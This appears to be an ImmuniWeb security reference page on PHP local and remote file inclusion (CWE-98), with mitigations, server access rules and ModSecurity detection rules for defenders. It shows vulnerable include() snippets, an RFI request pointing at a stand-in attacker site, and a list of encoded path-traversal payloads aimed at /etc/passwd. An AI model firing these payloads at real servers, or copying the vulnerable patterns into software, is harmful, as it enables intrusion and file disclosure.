CWE Glossary
- CWE-22: Path Traversal
- CWE-78: OS Command Injection
- CWE-79: Cross-Site Scripting
- CWE-89: SQL Injection
- CWE-90: LDAP Injection
- CWE-91: XML Injection
- CWE-94: Code Injection
- CWE-98: PHP File Inclusion
- CWE-113: HTTP Response Splitting
- CWE-119: Buffer Errors
- CWE-130: Improper Handling of Length Parameter Inconsistency
- CWE-193: Off-by-one Error
- CWE-200: Information Exposure
- CWE-211: Information Exposure Through Externally-Generated Error Message
- CWE-236: Improper Handling of Undefined Parameters
- CWE-276: Incorrect Default Permissions
- CWE-284: Improper Access Control
- CWE-285: Improper Authorization
- CWE-287: Improper Authentication
- CWE-297: Improper Validation of Certificate with Host Mismatch
- CWE-306: Missing Authentication for Critical Function
- CWE-312: Cleartext Storage of Sensitive Information
- CWE-345: Insufficient Verification of Data Authenticity
- CWE-352: Cross-Site Request Forgery
- CWE-384: Session Fixation
- CWE-427: Uncontrolled Search Path Element
- CWE-434: Unrestricted Upload of File with Dangerous Type
- CWE-476: NULL Pointer Dereference
- CWE-521: Weak Password Requirements
- CWE-601: Open Redirect
- CWE-611: Improper Restriction of XML External Entity Reference ('XXE')
- CWE-613: Insufficient Session Expiration
- CWE-618: Exposed Unsafe ActiveX Method
- CWE-671: Lack of Administrator Control over Security
- CWE-798: Use of Hard-coded Credentials
- CWE-799: Improper Control of Interaction Frequency
- CWE-822: Untrusted Pointer Dereference
- CWE-835: Infinite Loop
- CWE-918: Server-Side Request Forgery (SSRF)
- CWE-942: Overly Permissive Cross-domain Whitelist
CWE is a trademark of the MITRE Corporation.
PHP File Inclusion [CWE-98]
Local File Inclusion (LFI), Remote File Inclusion (RFI)
PHP File Inclusion weakness describes improper control of filename within Include() or Require() statements in a PHP program.
Created: September 11, 2012
Latest Update: December 28, 2020
Table of Content
- Description
- Potential impact
- Attack patterns
- Affected software
- Exploitation Examples
- Severity and CVSS Scoring
- Mitigations
- Vulnerability Remediation Techniques and Examples
- Common Fix Errors and Bypasses
- References
- Related Security Advisories
Want to have an in-depth understanding of all modern aspects of PHP File Inclusion [CWE-98]? Read carefully this article and bookmark it to get back later, we regularly update this page.
1. Description
This weakness occurs when a PHP application receives input and uses it to include files via include()
, require()
or similar functions. This results in inclusion of attacker controlled file which might lead to information disclosure or execution of arbitrary code. There are two types of inclusion based on location of the file to include. They are referred to as local and remote file inclusion.
1.1 Local file inclusion
Local file inclusion occurs when an attacker is unable to control the first part of the filename or remote file download is disabled. The following example demonstrates vulnerable PHP code that could be used to include local files:
- $filename = $_GET["filename"];
- Include($_SERVER["DOCUMENT_ROOT"]."/". $filename.".php");
In the above example an attacker can pass a specially crafted filename and include arbitrary file from the local system. Due to the nature of the PHP language, contents of any plain text file will be displayed. This attack can be used to include and execute attacker controlled PHP code, e.g. via web server log files and directory traversal sequences.
The attacker can use directory traversal sequences and NULL byte to gain access to arbitrary local file. When NULL byte is filtered the attacker might use maximum path length limitations of different systems.
1.2 Remote file inclusion
Remote file inclusion occurs when an attacker can control the first part of the filename or the entire filename. The following example demonstrates the vulnerability:
- $dir = $_GET["path"];
- include($dir . "/file.inc");
The value of $dir
variable is not restricted in any way, so an attacker can manipulate it. The following request includes the file.php file from a remote location:
vulnerable.php?path=http://attacker-site
Such a request will result in execution of file.inc file located on the attacker's server.
Remote file inclusion depends on the allow_url_include
and allow_url_fopen
options in php.ini.
2. Potential impact
Successful exploitation of PHP file inclusion may result in information disclosure or compromise of the vulnerable system. A remote attacker can read and write files or execute arbitrary code on the target system with privileges of the web server.
3. Attack patterns
In CAPEC database this weakness is treated as:
- CAPEC-193: PHP Remote File Inclusion
- CAPEC-252: PHP Local File Inclusion
According to alternative threat classification from WASC, this weakness is partially covered in WASC-05 (Remote File Inclusion) and WASC-28 (Null Byte Injection).
4. Affected software
Web applications written in PHP are potentially vulnerable to this weakness.
5. Exploitation Examples
Let's have a look at HTB23084 security advisory (CVE-2012-1933).
This advisory describes remote file inclusion, it means that we must create a file with PHP code on arbitrary server:
We will try to include this file, as described in the advisory, and see what happens:
On the image above we can see output of the phpinfo()
function. We can replace it by any PHP code, including web shell, and execute it on the vulnerable server. Successful exploitation of this vulnerability will result in complete system compromise.
6. Severity and CVSS Scoring
This weakness potentially allows unauthorized code execution on a remote system. It should be scored with maximum confidentiality, integrity and availability ratings.
In cases where remote file inclusion is possible the CVSS score should be:
9.8 [CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H] - Critical severity.
When local file inclusion is possible, a malicious user can include local file with attacker controlled data (e.g. web server log file). It should be scored as:
8.1 [CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H] - High severity.
In cases where inclusion of attacker controlled data is impossible, it should be scored as:
7.5 [CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N] - High severity.
7. Mitigations
To protect the application from this weakness it is advised to follow these instructions:
- Never use attacker controlled data as a filename or part of the filename when including files. If inclusion of file should be based on the user's choice, use preset conditions instead of using filenames.
- Perform whitelist checks when including files using user controlled input.
- Use sandbox environments (e.g. jail, chroot) that enforce strict boundaries between the process and the operating system.
- Use PHP configuration to limit the attack surface. Turn off the allow_url_fopen option which limits the ability to include files from a remote location.
As a temporary solution we strongly recommend blocking access to vulnerable script until the issue is resolved. This can be achieved either using native functionality of the webserver or changing system access permission to file.
Apache HTTP Server
Edit the configuration of your virtual host (usually this can be done via ".htaccess" file) and add the following lines:
<Files script.php>
order deny,allow
deny from all
</Files>
You can also allow access to file from specific IP address:
<Files script.php>
order deny,allow
deny from all
allow from 10.0.0.1
</Files>
Microsoft IIS
Edit the web.config file to limit access to the vulnerable "script.aspx":
The following rule allows access from IP address 10.0.0.1 and from subnet 192.168.0.0/24. Access from other IP addresses is restricted:
<configuration>
<location path="script.aspx">
<system.webServer>
<security>
<ipSecurity>
<add ipAddress="10.0.0.1" />
<add ipAddress="192.168.0.0" subnetMask="255.255.255.0" />
</ipSecurity>
</security>
</system.webServer>
</location>
</configuration>
You can also allow or restrict access to certain systems groups. The following configuration example allows only members of the "Administrators" group to access the vulnerable "script.aspx" file:
<configuration>
<location path="script.aspx">
<system.webServer>
<security>
<authorization>
<remove users="*" roles="" verbs="" />
<add accessType="Allow" roles="Administrators" />
</authorization>
</security>
</system.webServer>
</location>
</configuration>
Apache Tomcat
Add the following lines to your web.xml configuration file for a specific web application to restrict access to "script.jsp" file:
<security-constraint>
<web-resource-collection>
<web-resource-name>Forbidden</web-resource-name>
<url-pattern>/script.jsp</url-pattern>
</web-resource-collection>
<auth-constraint />
</security-constraint>
nginx
Add the following rule to the "nginx.conf" file to restrict access to the "script.php" file located in the webroot folder:
location /script.php {
deny all;
}
8. Vulnerability Remediation Techniques and Examples
8.1 General recommendations for software developers
In most cases removal of special characters from variable used to include files is enough to prevent successful exploitation.
Assume that the "param
" variable receives input via HTTP GET or HTTP POST request and then is used to include files in the include()
function. In this case PHP developers should follow instructions below to avoid appearance of vulnerable code:
- $param=preg_replace("/[^a-z0-9]/i", "", $param);
These are general recommendations. Every case must be treated separately, considering application logic, peculiarities of each system and required functionality.
Caution: do not blindly copy-paste the above-mentioned solutions into your application code. In some cases this may result in incorrect behavior of the application or inconsistent patch. Carefully read the References or consult security specialists in case you are not sure how to patch a vulnerability.
8.2 Using Web Application Firewall (WAF)
Web Application Firewall can be an efficient solution to prevent vulnerability exploitation while you are developing or waiting for a security patch. We do not recommend using WAF as a long-term solution, neither as a replacement to properly developed security patch.
As an example, we will use an open source web application firewall ModSecurity developed by Trustwave. There are many rule sets for ModSecurity licensed under ASLv2 and widely distributed by security companies and organizations. These rule sets can be applied to cover all basic cases of vulnerabilities’ exploitation and can be used on production servers.
When protecting against PHP file inclusion attacks we must consider different exploitation vectors. We have to eliminate the possibility of accessing files on remote servers and to disable local includes.
When dealing with remote file inclusions we have to consider all available protocols that can be used to include files from a remote location. The following rules from modsecurity_crs_40_generic_attacks.conf can be used to protect against remote file inclusion attacks:
SecRule ARGS "^(?i)(?:ht|f)tps?:\/\/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})" \
"phase:2,rev:'2',ver:'OWASP_CRS/2.2.7',maturity:'9',accuracy:'9' ,t:none,capture, ctl:auditLogParts=+E, block ,msg:'Remote File Inclusion Attack',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',id:'950117', severity:'2',tag:'OWASP_CRS/WEB_ATTACK/RFI' ,setvar:'tx.msg=%{rule.msg}', setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-OWASP_CRS/WEB_ATTACK/RFI-%{matched_var_name}=%{tx.0}"
SecRule QUERY_STRING|REQUEST_BODY "(?i:(\binclude\s*\([^)]*|mosConfig_absolute_path|_CONF\[path\]|_SERVER\[DOCUMENT_ROOT\]|GALLERY_BASEDIR|path\[docroot\]|appserv_root|config\[root_dir\])=(ht|f)tps?:\/\/)" \
"phase:2,rev:'3',ver:'OWASP_CRS/2.2.7',maturity:'9',accuracy:'9', t:none,t:urlDecodeUni, capture, ctl:auditLogParts=+E,block,msg:'Remote File Inclusion Attack',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',id:'950118',severity:'2',tag:'OWASP_CRS/WEB_ATTACK/RFI', setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-OWASP_CRS/WEB_ATTACK/RFI-%{matched_var_name}=%{tx.0}"
SecRule ARGS "^(?i)(?:ft|htt)ps?(.*?)\?+$" \
"phase:2,rev:'2',ver:'OWASP_CRS/2.2.7',maturity:'9',accuracy:'9', t:none,capture, ctl:auditLogParts=+E, block, msg:'Remote File Inclusion Attack',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',id:'950119',severity:'2',tag:'OWASP_CRS/WEB_ATTACK/RFI', setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-OWASP_CRS/WEB_ATTACK/RFI-%{matched_var_name}=%{tx.0}"
SecRule ARGS "^(?:ht|f)tps?://(.*)$" \
"chain,phase:2,rev:'3',ver:'OWASP_CRS/2.2.7',maturity:'9',accuracy:'9', t:none,capture, ctl:auditLogParts=+E,block, msg:'Possible Remote File Inclusion (RFI) Attack: Off-Domain Reference/Link',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',id:'950120', severity:'2',tag:'OWASP_CRS/WEB_ATTACK/RFI'"
SecRule TX:1 "!@beginsWith %{request_headers.host}" "setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-OWASP_CRS/WEB_ATTACK/RFI-%{matched_var_name}=%{tx.1}"
In case of local inclusion, we have to deal with path traversal sequences and file names. Let’s have a look at the HTB23118 security advisory (CVE-2012-5242), that describes PHP file inclusion vulnerability in Banana Dance. The vulnerable script passes input from the “name” parameter to the "include_once()" function. We will create a rule that allows only alphabetical characters:
SecRule ARGS:name "!^([a-zA-Z]+)$" "phase:2,rev:'2',ver:'HTBRIDGE /0.1',maturity:'9',accuracy:'7', t:none, ctl:auditLogParts=+E,block, msg:'LFI in Banana Dance HTB23118',id:'1000000006',severity:'2',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',capture,tag:'HTBRIDGE/WEB_ATTACK/LFI',setvar:'tx.msg=%{rule.msg}'"
9. Common Fix Errors and Bypasses
There are numerous techniques attackers may use to fool weak defence implementations, a subset of common techniques is listed below:
URL Encoding
http://[host]/vuln_script.php?lang=..%2F..%2F..%2F..%2Fetc%2Fpasswd
Double URL encoding
Encoding the traversal sequences twice may fool systems that decode the input once:
http://[host]/vuln_script.php?lang=%252e%252e%252e%252e%252fetc%252fpasswd%00
Unicode Encoding
Encoding the traversal sequences with 16-bit Unicode encoding:
http://[host]/vuln_script.php?lang=%u002e%u2215%u002e%u2215etc%u2215passwd
Overlong Unicode UTF-8 Encoding
Works on systems that have the capability to process overlong UTF-8 sequences:
http://[host]/vuln_script.php?lang=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
Valid Traversal Sequences
The web browser will treat the following examples as valid:
http://[host]/vuln_script.php?lang=/%5C../%5C../%5C../%5C../%5C../%5C..etc/passwd
http://[host]/vuln_script.php?lang=..//.//.//etc/passwd
10. References
- Top 25 Series - Rank 13 - PHP File Inclusion [software-security.sans.org]
- File Inclusion [hakipedia.com]
11. PHP File Inclusion Vulnerabilities, Exploits and Examples
- HTB23285: RCE via CSRF in osCmax
- HTB23284: RCE via CSRF in osCommerce
- HTB23282: RCE in Zen Cart via Arbitrary File Inclusion
- HTB23281: PHP File Inclusion in bitrix.mpbuilder Bitrix Module
- HTB23275: Remote File Inclusion in Gwolle Guestbook WordPress Plugin
Copyright Disclaimer: Any above-mentioned content can be copied and used for non-commercial purposes only if proper credit to ImmuniWeb is given.
↑ Back to Top